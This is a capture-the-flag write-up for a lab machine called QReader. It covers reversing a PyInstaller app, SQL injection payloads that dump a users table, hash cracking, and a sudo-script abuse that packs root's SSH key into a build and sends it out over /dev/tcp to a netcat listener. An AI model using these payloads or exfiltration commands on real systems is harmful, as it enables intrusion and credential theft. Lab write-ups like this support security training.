Skip to content

QREADER HACKED

SQL INJECTION

SQL INJECTION: [ How it Works ]

Skills required:

  • Web enumeration
  • Rudimentary understanding of Python
  • Reading and understanding Bash scripts
  • Reversing Knowledge
  • Linux Command Line
  • SQL Injection

Enumeration:

nmap

An initial Nmap scan reveals an SSH as well as an Apache server running on their default ports. Moreover a Python based WebSocket server appears to be running on port 5789.

We start by browsing to the web application on port 80.

nmap

The website appears to be a tool that can embed text into QR codes as well as extract embedded text.

Towards the bottom of the page is a section mentioning a downloadable app referencing links to both a Windows executable and a Linux binary.

We download it and take a look at the application.

nmap

The downloaded file is a zip archive which we extract.

unzip QReader_lin_v0.0.2.zip

nmap

We run the binary and find a utility that is similar to the web application in function it converts QR codes to text and vice versa.

The menu bar presents two buttons under About we can select either of two options namely Version and Updates.

nmap

When clicking on either option we get a message saying Connection Error in the bottom-left status bar.

nmap

This indicates that the application is trying to connect to a server which it cannot reach.

To find out exactly what it is trying to access we will attempt to reverse-engineer the program.

To do so we start by running the strings command against the Linux binary.

strings qreader

nmap

There is a lot of output much of it referring to Python libraries and most importantly referencing PyInstaller.

We can therefore deduce that this binary was likely compiled with PyInstaller which means we can use a tool such as pyinstxtractor to extract its contents.

python3 pyinstxtractor.py qreader

nmap

The tool has extracted .pyc files which are compiled bytecode files that are generated by the Python interpreter when a .py file is imported.

We can now use a decompiler such as unpyc3 to turn the .pyc files into Python source code.

We use the tool and feed it the qreader.pyc file.

python3 unpyc3.py qreader.pyc

nmap

After a few error messages we find the reconstructed source code of the program which reveals a ws_host variable linking to a subdomain using the ws:// WebSocket protocol.

We proceed to add the subdomain to our /etc/hosts file and re-run the program.

nmap

This time when we click on Version we can see that it is showing us the actual version information.

We have fixed the broken connection 😃

We read through the decompiled source code and find the version function:

nmap

The function sends a request to the /version endpoint and parses the returned JSON data accordingly.

Unfortunately our extractor failed to reconstruct the ws_connect function referenced above.

nmap

But given the fact that the script is importing the websocket module we can fairly confidently deduce that the function is connecting to the subdomain using a web socket.

While we could keep reading the source code and try to interpret the underlying functions we can also set up a proxy to look at the interactions between the app and the server.

Searching for WebSocket proxies yields various results we opt for a short Python script which we will modify slightly to print out the intercepted messages.

We add a print statement to the following two functions:

nmap

Finally we update our hosts file pointing ws.qreader.htb to localhost since we will fire up the server on port 5789 locally and then point the remote_url parameter to the target's IP address.

python3 ws_proxy.py --host 127.0.0.1 --port 5789 --remote_url ws://10.10.11.206:5789

nmap

The first set of exchanges is from pressing the Version button and the second set is from pressing the Update button.

In both cases we can see that the Client is sending its version in JSON format to the server.

With that in mind we can emulate that interaction by using the same modules as the script and tamper with the contents of the request to see if we can spot anything of interest.

We do so by writing a short Python script.

nmap

As seen in the decompiled source code the /version endpoint is the one that responds with more detailed information so we choose it as our script's target.

python3 hook.py

nmap

We can now interact with the endpoint and submit custom values for the version field to enumerate the server's responses.

Foothold

Judging from the server's responses we can assume that there is some sort of database in play in the backend.

To test that assumption we try to perform an SQL injection into the version field.

After trying a few payloads we find that using the delimiter " seems to escape the intended query and allow us to append our own queries.

" OR 1=1;-- -

nmap

SQL Injection

At this point it would be useful to find out how many columns the query returns so we can match it and proceed to extract more targeted information.

To do so, we make use of the UNION SELECT statement increasing the number of columns we use until no error is thrown.

" UNION SELECT 1,2,3,4;-- -

nmap

We now know that the query returns four columns and proceed to check what type of database the server is running.

"version()" and "@_@_version" produce errors so we can rule out MSSQL and MySQL.

Let`s try testing for SQLite.

" UNION SELECT sqlite_version(),2,3,4 -- -

nmap

We get a valid response meaning we can now proceed to enumerate other tables for interesting data 😃

Using the sqlite_master table as well as the rootpage column we can leak other tables' names by incrementing the constraint by one each time.

" UNION SELECT name,2,3,4 FROM sqlite_master WHERE rootpage = 1 -- -

nmap

We find a total of 6 tables with the most interesting being users as we suspect some sort of password storing mechanism.

In order to not rely on guessing, we enumerate its columns by using the same query as before but this time selecting sql instead of name.

" UNION SELECT sql,2,3,4 FROM sqlite_master WHERE rootpage = 4 -- -

This yields the following creation query:

nmap

Armed with this knowledge we can now dump the table's contents.

" UNION SELECT username,password,3,4 FROM users; -- -

nmap

A hash of the admin user's password is revealed which we proceed to crack using hashcat.

echo 0c090c365fa0559b151a43e0fea39710 > hash
hashcat -m 0 hash /usr/share/wordlists/rockyou.txt

nmap

Hashcat is successful and yields the password denjanjade122566.

Unfortunately we cannot seem to SSH into the machine using the admin username so we keep enumerating the database in search of other usernames.

We proceed to look at the answers table using the same method as before to find its column names.

" UNION SELECT sql,2,3,4 FROM sqlite_master WHERE rootpage = 7 -- -

nmap

The answered_by column seems interesting so we dump it alongside the answer column.

" UNION SELECT answered_by,answer,3,4 FROM answers; -- -

nmap

While the answered_by value is admin two further names are revealed inside the answer column: Mike and Thomas Keller.

After some trial and error we find that the username tkeller is valid and allows us to SSH into the machine using the cracked password.

nmap

Privilege Escalation

Enumerating the tkeller user we find that we have permission to run a Bash script as sudo 😃

sudo -l

nmap

Looking at the script we can see that it allows us to build executable files from Python using PyInstaller.

The tool has three main actions:

  1. build - building the executable from a .spec file

  2. make - creating the executable from a .py file

  3. cleanup - removing previously made files

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null

The action that looks most interesting to us is build as it allows us to specify a .spec file which is a specification file used by PyInstaller to build the executable.

Whenever we convert a Python script to an executable PyInstaller first makes a specification file which it then uses to build the actual executable.

Since we can specify our own spec file we can use any option that PyInstaller supports to our advantage; one such option is --add-data.

Running pyinstaller locally with the --help flag shows this entry for the aforementioned flag:

nmap

The option essentially allows us to add non-binary files that our script might need for its execution.

Since we can run the script as root we can try packaging the root user's private SSH key into our executable.

We can then use the same decompilation tools as earlier to extract it from the binary.

The only problem is that we are using a spec file and can therefore not use the --add-data flag directly.

Looking through the PyInstaller documentation we find out how that information is stored within the .spec files:

nmap

Armed with this knowledge, we create a sample Python script locally and build it with pyinstaller.

echo 'print("melo")' > melo.py
pyinstaller melo.py

Despite a few errors a .spec file is successfully generated:

# -*- mode: python ; coding: utf-8 -*-
block_cipher = None
a = Analysis(['melo.py'],
             pathex=['/tmp'],
             binaries=[],
             datas=[],
             hiddenimports=[],
         hookspath=[],
         runtime_hooks=[],
         excludes=[],
         win_no_prefer_redirects=False,
         win_private_assemblies=False,cipher=block_cipher,
         noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
         cipher=block_cipher)
exe = EXE(pyz,
      a.scripts,
      a.binaries,
      a.zipfiles,
      a.datas,
      name='melo',
      debug=True,
      strip=False,
      upx=True,
      console=True )

We then amend the datas parameter inside the a variable to include the root user's SSH key:

a = Analysis(['melo.py'],
             pathex=['/tmp'],
         binaries=[],
         datas=[('/root/.ssh/id_rsa', '.')],
         hiddenimports=[],
         hookspath=[],
         runtime_hooks=[],
         excludes=[],
         win_no_prefer_redirects=False,
         win_private_assemblies=False,
         cipher=block_cipher,
         noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
             cipher=block_cipher)

We copy the file as well as the melo.py script over to the target machine's /tmp folder and run the build-installer script.

sudo /usr/local/sbin/build-installer.sh build /tmp/melo.spec

nmap

The command ran successfully as the bash script shows we can find the generated executable inside /opt/shared/dist/ so we proceed to download it to our local machine.

We run the following command locally:

nc -nlvp 4444 > melo

And on the target machine:

cat < /opt/shared/dist/melo > /dev/tcp/10.10.14.40/4444

We then use pyinstxtractor the same way as before to extract the contents of the executable.

python3 pyinstxtractor.py melo

nmap

The extraction is successful, and we can find the included id_rsa key inside the melo_extracted directory.

We set the necessary permissions for the key and use it to SSH into the target machine as root.

chmod 600 id_rsa
ssh -i id_rsa root@qreader.htb

nmap

Root Game Over

Comments/notes are visible to yourself only. Usefull to make your appointments

Add a nice title

Last Edited By - @1337 (change author)

Add comments here.



If you like this content you can send me some SATS as thankful

Share to Threema Share to Telegram Share to Twitter